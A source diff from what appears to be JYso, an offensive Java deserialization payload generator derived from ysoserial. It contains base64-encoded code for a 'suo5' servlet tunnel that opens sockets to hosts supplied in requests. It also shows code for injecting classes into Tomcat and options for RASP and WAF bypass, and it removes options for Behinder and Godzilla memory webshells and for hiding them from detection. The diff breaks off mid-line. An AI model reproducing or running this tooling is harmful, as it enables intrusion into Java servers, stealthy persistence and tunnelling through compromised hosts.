ChpICsgNCA+PSBicy5sZW5ndGgpIHsKCQkJCXRocm93IG5ldyBqYXZhLmxhbmcuRXhjZXB0aW9uKCJ2YWx1ZSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsgNCk7CgkJCWludCB2TGVuID0gYnl0ZXNUb1UzMihidWYpOwoJCQlpICs9IDQ7CgkJCWlmICh2TGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCgkJCWlmIChpICsgdkxlbiA+IGJzLmxlbmd0aCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCQkJYnl0ZVtdIHZhbHVlID0gamF2YS51dGlsLkFycmF5cy5jb3B5T2ZSYW5nZShicywgaSwgaSArIHZMZW4pOwoJCQlpICs9IHZMZW47CgoJCQltLnB1dChrZXksIHZhbHVlKTsKCQl9CgkJcmV0dXJuIG07Cgl9"; - - // suo5 readSocket 方法,需要 marshal newData - public static String SUO5_READ_SOCKET = "cHJpdmF0ZSB2b2lkIHJlYWRTb2NrZXQoamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0cHV0U3RyZWFtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJYnl0ZVtdIHJlYWRCdWYgPSBuZXcgYnl0ZVsxMDI0ICogOF07CgoJCXdoaWxlICh0cnVlKSB7CgkJCWludCBuID0gaW5wdXRTdHJlYW0ucmVhZChyZWFkQnVmKTsKCQkJaWYgKG4gPD0gMCkgewoJCQkJYnJlYWs7CgkJCX0KCQkJYnl0ZVtdIGRhdGFUbXAgICA9IGphdmEudXRpbC5BcnJheXMuY29weU9mUmFuZ2UocmVhZEJ1ZiwgMCwgbik7CgkJCWJ5dGVbXSBmaW5hbERhdGEgPSBtYXJzaGFsKG5ld0RhdGEoZGF0YVRtcCkpOwoJCQlvdXRwdXRTdHJlYW0ud3JpdGUoZmluYWxEYXRhKTsKCQkJb3V0cHV0U3RyZWFtLmZsdXNoKCk7CgkJfQoJfQ=="; - - // suo5 readInputStreamWithTimeout 方法 - public static String SUO5_READ_INPUT_STREAM_WITH_TIMEOUT = "cHVibGljIHZvaWQgcmVhZElucHV0U3RyZWFtV2l0aFRpbWVvdXQoamF2YS5pby5JbnB1dFN0cmVhbSBpcywgYnl0ZVtdIGIsIGludCB0aW1lb3V0TWlsbGlzKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiwgamF2YS5sYW5nLkludGVycnVwdGVkRXhjZXB0aW9uIHsKCQlpbnQgIGJ1ZmZlck9mZnNldCAgPSAwOwoJCWxvbmcgbWF4VGltZU1pbGxpcyA9IG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSArIHRpbWVvdXRNaWxsaXM7CgkJd2hpbGUgKG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSA8IG1heFRpbWVNaWxsaXMgJiYgYnVmZmVyT2Zmc2V0IDwgYi5sZW5ndGgpIHsKCQkJaW50IHJlYWRMZW5ndGggPSBiLmxlbmd0aCAtIGJ1ZmZlck9mZnNldDsKCQkJaWYgKGlzLmF2YWlsYWJsZSgpIDwgcmVhZExlbmd0aCkgewoJCQkJcmVhZExlbmd0aCA9IGlzLmF2YWlsYWJsZSgpOwoJCQl9CgkJCWludCByZWFkUmVzdWx0ID0gaXMucmVhZChiLCBidWZmZXJPZmZzZXQsIHJlYWRMZW5ndGgpOwoJCQlpZiAocmVhZFJlc3VsdCA9PSAtMSkgYnJlYWs7CgkJCWJ1ZmZlck9mZnNldCArPSByZWFkUmVzdWx0OwoJCQlqYXZhLmxhbmcuVGhyZWFkLnNsZWVwKDIwMEwpOwoJCX0KCX0="; - - // suo5 tryFullDuplex 方法,需要 readInputStreamWithTimeout 方法 - public static String SUO5_TRY_FULL_DUPLEX = "CXB1YmxpYyB2b2lkIHRyeUZ1bGxEdXBsZXgoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSkgdGhyb3dzIGphdmEuaW8uSU9FeGNlcHRpb24sIGphdmEubGFuZy5JbnRlcnJ1cHRlZEV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWJ5dGVbXSAgICAgICAgICAgICAgZGF0YSA9IG5ldyBieXRlWzMyXTsKCQlyZWFkSW5wdXRTdHJlYW1XaXRoVGltZW91dChpbiwgZGF0YSwgMjAwMCk7CgkJamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0ID0gcmVzcG9uc2UuZ2V0T3V0cHV0U3RyZWFtKCk7CgkJb3V0LndyaXRlKGRhdGEpOwoJfQ=="; - - // suo5 readReq 方法,需要 unmarshal 方法 - public static String SUO5_READ_REQ = "CXByaXZhdGUgdm9pZCByZWFkUmVxKGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSBidWZJbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gc29ja2V0T3V0U3RyZWFtKSB0aHJvd3MgamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJd2hpbGUgKHRydWUpIHsKCQkJamF2YS51dGlsLkhhc2hNYXAgZGF0YU1hcCA9IHVubWFyc2hhbChidWZJbnB1dFN0cmVhbSk7CgkJCWJ5dGVbXSBhY3Rpb24gPSAoYnl0ZVtdKSBkYXRhTWFwLmdldCgiYWMiKTsKCQkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSkgewoJCQkJcmV0dXJuOwoKCQkJfQoJCX0KCX0="; - - // suo5 processDataUnary 方法,需要 unmarshal,marshal,readSocket,newStatus,newDel - public static String SUO5_PROCESS_DATA_UNARY = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhVW5hcnkoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwKSB0aHJvd3MKCQkJamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICBpcyAgICAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWphdmF4LnNlcnZsZXQuU2VydmxldENvbnRleHQgY3R4ICAgICA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpLmdldFNlcnZsZXRDb250ZXh0KCk7CgkJamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtICByZWFkZXIgID0gbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShpcyk7CgkJamF2YS51dGlsLkhhc2hNYXAgICAgICAgICAgICBkYXRhTWFwID0gdW5tYXJzaGFsKHJlYWRlcik7CgoJCVN0cmluZyBjbGllbnRJZCA9IG5ldyBTdHJpbmcoKGJ5dGVbXSkgZGF0YU1hcC5nZXQoImlkIikpOwoJCWJ5dGVbXSBhY3Rpb24gICA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJhYyIpOwoJCWlmIChhY3Rpb24ubGVuZ3RoICE9IDEpIHsKCQkJcmVzcC5zZXRTdGF0dXMoNDAzKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRCdWZmZXJTaXplKDggKiAxMDI0KTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSByZXNwT3V0U3RyZWFtID0gcmVzcC5nZXRPdXRwdXRTdHJlYW0oKTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSBzY091dFN0cmVhbTsKCQlpZiAoYWN0aW9uWzBdID09IDB4MDIpIHsKCQkJc2NPdXRTdHJlYW0gPSAoamF2YS5pby5PdXRwdXRTdHJlYW0pIGN0eC5nZXRBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCQlpZiAoc2NPdXRTdHJlYW0gIT0gbnVsbCkgewoJCQkJc2NPdXRTdHJlYW0uY2xvc2UoKTsKCQkJfQoJCQlyZXR1cm47CgkJfSBlbHNlIGlmIChhY3Rpb25bMF0gPT0gMHgwMSkgewoJCQlzY091dFN0cmVhbSA9IChqYXZhLmlvLk91dHB1dFN0cmVhbSkgY3R4LmdldEF0dHJpYnV0ZShjbGllbnRJZCk7CgkJCWlmIChzY091dFN0cmVhbSA9PSBudWxsKSB7CgkJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3RGVsKCkpKTsKCQkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJCXJldHVybjsKCQkJfQoJCQlieXRlW10gZGF0YSA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJkdCIpOwoJCQlpZiAoZGF0YS5sZW5ndGggIT0gMCkgewoJCQkJc2NPdXRTdHJlYW0ud3JpdGUoZGF0YSk7CgkJCQlzY091dFN0cmVhbS5mbHVzaCgpOwoJCQl9CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRIZWFkZXIoIlgtQWNjZWwtQnVmZmVyaW5nIiwgIm5vIik7CgkJU3RyaW5nICAgICAgICAgIGhvc3QgPSBuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJwIikpKTsKCQlqYXZhLm5ldC5Tb2NrZXQgc2M7CgkJdHJ5IHsKCQkJc2MgPSBuZXcgamF2YS5uZXQuU29ja2V0KCk7CgkJCXNjLmNvbm5lY3QobmV3IGphdmEubmV0LkluZXRTb2NrZXRBZGRyZXNzKGhvc3QsIHBvcnQpLCA1MDAwKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAxKSkpOwoJCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQljdHguc2V0QXR0cmlidXRlKGNsaWVudElkLCBzY091dFN0cmVhbSk7CgkJcmVzcE91dFN0cmVhbS53cml0ZShtYXJzaGFsKG5ld1N0YXR1cygoYnl0ZSkgMHgwMCkpKTsKCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgoJCWphdmEuaW8uSW5wdXRTdHJlYW0gc2NJblN0cmVhbSA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9IGZpbmFsbHkgewoJCQlzYy5jbG9zZSgpOwoJCQlyZXNwT3V0U3RyZWFtLmNsb3NlKCk7CgkJCWN0eC5yZW1vdmVBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCX0KCX0="; - - // suo5 processDataBio 方法,需要 unmarshal,readReq,newStatus,marshal,setStream 方法 - public static String SUO5_PROCESS_DATA_BIO = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhQmlvKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgcmVxdWVzdCwgamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcCkgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWZpbmFsIGphdmEuaW8uSW5wdXRTdHJlYW0gICAgICAgICByZXFJbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0gcmVxUmVhZGVyICAgICAgPSBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKHJlcUlucHV0U3RyZWFtKTsKCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgICAgICAgICAgICAgZGF0YU1hcCAgICAgICAgPSB1bm1hcnNoYWwocmVxUmVhZGVyKTsKCgkJYnl0ZVtdIGFjdGlvbiA9IChieXRlW10pZGF0YU1hcC5nZXQoImFjIik7CgkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSB8fCBhY3Rpb25bMF0gIT0gMHgwMCkgewoJCQlyZXNwLnNldFN0YXR1cyg0MDMpOwoJCQlyZXR1cm47CgkJfQoJCXJlc3Auc2V0QnVmZmVyU2l6ZSg4ICogMTAyNCk7CgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gcmVzcE91dFN0cmVhbSA9IHJlc3AuZ2V0T3V0cHV0U3RyZWFtKCk7CgoJCS8vIDB4MDAgY3JlYXRlIHNvY2tldAoJCXJlc3Auc2V0SGVhZGVyKCJYLUFjY2VsLUJ1ZmZlcmluZyIsICJubyIpOwoJCVN0cmluZyAgICAgICAgICBob3N0ID0gbmV3IFN0cmluZygoYnl0ZVtdKWRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pZGF0YU1hcC5nZXQoInAiKSkpOwoJCWphdmEubmV0LlNvY2tldCBzYzsKCQl0cnkgewoJCQlzYyA9IG5ldyBqYXZhLm5ldC5Tb2NrZXQoKTsKCQkJc2MuY29ubmVjdChuZXcgamF2YS5uZXQuSW5ldFNvY2tldEFkZHJlc3MoaG9zdCwgcG9ydCksIDUwMDApOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXJlc3BPdXRTdHJlYW0ud3JpdGUobWFyc2hhbChuZXdTdGF0dXMoKGJ5dGUpIDB4MDEpKSk7CgkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlyZXR1cm47CgkJfQoKCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAwKSkpOwoJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLklucHV0U3RyZWFtICBzY0luU3RyZWFtICA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCWphdmEubGFuZy5UaHJlYWQgdCA9IG51bGw7CgkJdHJ5IHsKCQkJdGhpcy5zZXRTdHJlYW0oc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJCXQgPSBuZXcgamF2YS5sYW5nLlRocmVhZCgoamF2YS5sYW5nLlJ1bm5hYmxlKSB0aGlzKTsKCQkJdC5zdGFydCgpOwoJCQlyZWFkUmVxKHJlcVJlYWRlciwgc2NPdXRTdHJlYW0pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfSBmaW5hbGx5IHsKCQkJc2MuY2xvc2UoKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlpZiAodCAhPSBudWxsKSB7CgkJCQl0LmpvaW4oKTsKCQkJfQoJCX0KCX0="; - - // suo 关键方法,需要 Field HEADER_KEY HEADER_VALUE,需要 processDataUnary processDataBio 方法 - public static String SUO5 = "ewoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICAgICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsKCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOwoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIgICAgICAgPSByZXF1ZXN0LmdldEhlYWRlcihIRUFERVJfS0VZKTsKCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudFR5cGUgPSByZXF1ZXN0LmdldEhlYWRlcigiQ29udGVudC1UeXBlIik7CgoJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgaGVhZGVyLmVxdWFscyhIRUFERVJfVkFMVUUpKSB7CgkJCQlpZiAoY29udGVudFR5cGUgPT0gbnVsbCkgewoJCQkJCXJldHVybjsKCQkJCX0KCQkJCXRyeSB7CgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vcGxhaW4iKSkgewoJCQkJCQl0cnlGdWxsRHVwbGV4KHJlcXVlc3QsIHJlc3BvbnNlKTsKCQkJCQkJcmV0dXJuOwoJCQkJCX0KCgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikpIHsKCQkJCQkJcHJvY2Vzc0RhdGFCaW8ocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXByb2Nlc3NEYXRhVW5hcnkocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9"; - - // run 方法,需要 readSocket 方法,需要 Field gInStream,gOutStream - public static String RUN = "cHVibGljIHZvaWQgcnVuKCkgewoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoZ0luU3RyZWFtLCBnT3V0U3RyZWFtKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; - } } diff --git a/src/main/java/com/qi4l/JYso/controllers/ysoserial.java b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java similarity index 74% rename from src/main/java/com/qi4l/JYso/controllers/ysoserial.java rename to src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java index ae3e948..49f074a 100644 --- a/src/main/java/com/qi4l/JYso/controllers/ysoserial.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java @@ -1,6 +1,5 @@ -package com.qi4l.JYso.controllers; +package com.qi4l.JYso.gadgets.Config; -import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.ObjectPayload; import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; @@ -8,7 +7,10 @@ import com.qi4l.JYso.gadgets.utils.Serializer; import com.qi4l.JYso.gadgets.utils.StringUtil; import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper; import org.apache.commons.cli.*; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import java.io.ByteArrayOutputStream; import java.io.OutputStream; import java.nio.file.Files; import java.nio.file.Paths; @@ -20,6 +22,7 @@ import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit; public class ysoserial { + private static final Logger log = LoggerFactory.getLogger(ysoserial.class); public static CommandLine cmdLine; public static Object PAYLOAD = null; @@ -107,26 +110,10 @@ public class ysoserial { Config.IS_UTF_Bypass = true; } - if (cmdLine.hasOption("gen-mem-shell")) { - Config.GEN_MEM_SHELL = true; - - if (cmdLine.hasOption("gen-mem-shell-name")) { - Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name"); - } - } - - if (cmdLine.hasOption("hide-mem-shell")) { - Config.HIDE_MEMORY_SHELL = true; - - if (cmdLine.hasOption("hide-type")) { - Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type")); - } - } - final String payloadType = cmdLine.getOptionValue("gadget"); final String command = cmdLine.getOptionValue("parameters"); //载入gadget - final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); + final Class> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); if (payloadClass == null) { System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(options); @@ -137,7 +124,7 @@ public class ysoserial { try { //载入payload - ObjectPayload payload = payloadClass.newInstance(); + ObjectPayload payload = payloadClass.newInstance(); Object object = payload.getObject(command); // 是否指定混淆 @@ -157,16 +144,18 @@ public class ysoserial { if (Config.WRITE_FILE) { out = Files.newOutputStream(Paths.get(Config.FILE)); + } else if(Config.BASE64) { + out = new ByteArrayOutputStream(); } else { out = System.out; } - Serializer.qiserialize(object, out); + Serializer.qi_serialize(object, out); ObjectPayload.Utils.releasePayload(payload, object); out.flush(); out.close(); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); - e.printStackTrace(); + log.error(String.valueOf(e)); System.exit(1); } System.exit(0); @@ -182,31 +171,12 @@ public class ysoserial { options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)"); options.addOption("o", "obscure", false, "Using reflection to bypass RASP"); options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)"); - options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]"); - options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]"); - options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]"); - options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]"); - options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]"); - options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]"); - options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File"); - options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name"); - options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)"); - options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/"); options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS"); options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl"); options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil"); options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter"); options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf"); - options.addOption("he1", "Hessian1", false, "Hessian1 Output"); - options.addOption("he2", "Hessian2", false, "Hessian2 Output"); options.addOption("b64", "base64", false, "base64 encoding"); - options.addOption("xs", "XStream", false, "Xstream Output"); - options.addOption("kryo", "Kryo", false, "Kryo Output"); - options.addOption("jy", "JYaml", false, "JYaml Output"); - options.addOption("js", "JsonIO", false, "JsonIO Output"); - options.addOption("yb", "YamlBeans", false, "YamlBeans Output"); - options.addOption("ca", "Castor", false, "Castor Output"); - options.addOption("jk", "Jackson", false, "Jackson Output"); return options; } @@ -215,14 +185,14 @@ public class ysoserial { System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]"); System.err.println("[root]#~ Available payload types:"); - final List> payloadClasses = + final List>> payloadClasses = new ArrayList<>(ObjectPayload.Utils.getPayloadClasses()); payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize final List rows = new LinkedList<>(); rows.add(new String[]{"Payload", "Authors", "Dependencies"}); rows.add(new String[]{"-------", "-------", "------------"}); - for (Class payloadClass : payloadClasses) { + for (Class> payloadClass : payloadClasses) { rows.add(new String[]{ payloadClass.getSimpleName(), StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java index b0a95a0..506ef0a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java @@ -263,9 +263,9 @@ public class Gadgets extends ClassLoader { return className; } - public static HashMap maskmapToString(Object o1, Object o2) throws Exception { - Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); - Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); + public static HashMap maskmapToString(Object o1, Object o2) throws Exception { + Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); + Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); tHashMap1.put(o1, null); tHashMap2.put(o2, null); Reflections.setFieldValue(tHashMap1, "loadFactor", 1); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java index 1dea8a8..4e3dfef 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java @@ -2,26 +2,22 @@ package com.qi4l.JYso.gadgets.utils; import com.qi4l.JYso.gadgets.Config.Config; import javassist.*; -import org.apache.commons.cli.CommandLine; -import org.apache.commons.cli.CommandLineParser; -import org.apache.commons.cli.DefaultParser; -import org.apache.commons.cli.Options; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; -import static com.qi4l.JYso.controllers.ysoserial.getOptions; import static com.qi4l.JYso.gadgets.Config.Config.POOL; -import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword; public class InjShell { - public static CommandLine cmdLine; + private static final Logger log = LoggerFactory.getLogger(InjShell.class); // 恶心一下人,实际没用 public static String converString(String target) { if (Config.IS_OBSCURE) { StringBuilder result = new StringBuilder("new String(new byte[]{"); byte[] bytes = target.getBytes(); - for (int i = 0; i < bytes.length; i++) { - result.append(bytes[i]).append(","); + for (byte aByte : bytes) { + result.append(aByte).append(","); } return result.substring(0, result.length() - 1) + "})"; } @@ -51,7 +47,7 @@ public class InjShell { } //类加载方式,因类而异 - public static String injectClass(Class clazz) { + public static String injectClass(Class clazz) { String classCode = null; try { @@ -59,7 +55,7 @@ public class InjShell { classCode = Utils.getClassCode(clazz); } catch (Exception e) { - e.printStackTrace(); + log.error("e: ", e); } return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + @@ -74,96 +70,4 @@ public class InjShell { " clazz.newInstance();\n" + "};"; } - - public static void init(String[] args) throws Exception { - final Options options = getOptions(); - - CommandLineParser parser = new DefaultParser(); - - try { - cmdLine = parser.parse(options, args); - } catch (Exception e) { - System.out.println("[*] Parameter input error, please use -h for more information"); - System.exit(1); - } - - if (cmdLine.hasOption("inherit")) { - Config.IS_INHERIT_ABSTRACT_TRANSLET = true; - } - - if (cmdLine.hasOption("obscure")) { - Config.IS_OBSCURE = true; - } - - if (cmdLine.hasOption("cmd-header")) { - Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header"); - } - - if (cmdLine.hasOption("url")) { - String url = cmdLine.getOptionValue("url"); - if (!url.startsWith("/")) { - url = "/" + url; - } - Config.URL_PATTERN = url; - } - - if (cmdLine.hasOption("define-class-from-parameter")) { - Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter"); - } - - if (cmdLine.hasOption("file")) { - Config.WRITE_FILE = true; - Config.FILE = cmdLine.getOptionValue("file"); - } - - if (cmdLine.hasOption("password")) { - Config.PASSWORD_ORI = cmdLine.getOptionValue("password"); - Config.PASSWORD = generatePassword(Config.PASSWORD_ORI); - } - - if (cmdLine.hasOption("godzilla-key")) { - Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key")); - } - - if (cmdLine.hasOption("header-key")) { - Config.HEADER_KEY = cmdLine.getOptionValue("header-key"); - } - - if (cmdLine.hasOption("header-value")) { - Config.HEADER_VALUE = cmdLine.getOptionValue("header-value"); - } - - if (cmdLine.hasOption("no-com-sun")) { - Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true; - } - - if (cmdLine.hasOption("mozilla-class-loader")) { - Config.USING_MOZILLA_DEFININGCLASSLOADER = true; - } - - if (cmdLine.hasOption("rhino")) { - Config.USING_RHINO = true; - } - - if (cmdLine.hasOption("utf8-Overlong-Encoding")) { - Config.IS_UTF_Bypass = true; - } - - if (cmdLine.hasOption("gen-mem-shell")) { - Config.GEN_MEM_SHELL = true; - - if (cmdLine.hasOption("gen-mem-shell-name")) { - Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name"); - } - } - - if (cmdLine.hasOption("hide-mem-shell")) { - Config.HIDE_MEMORY_SHELL = true; - - if (cmdLine.hasOption("hide-type")) { - Config.HIDE_MEMORY_SHELL_TYPE = 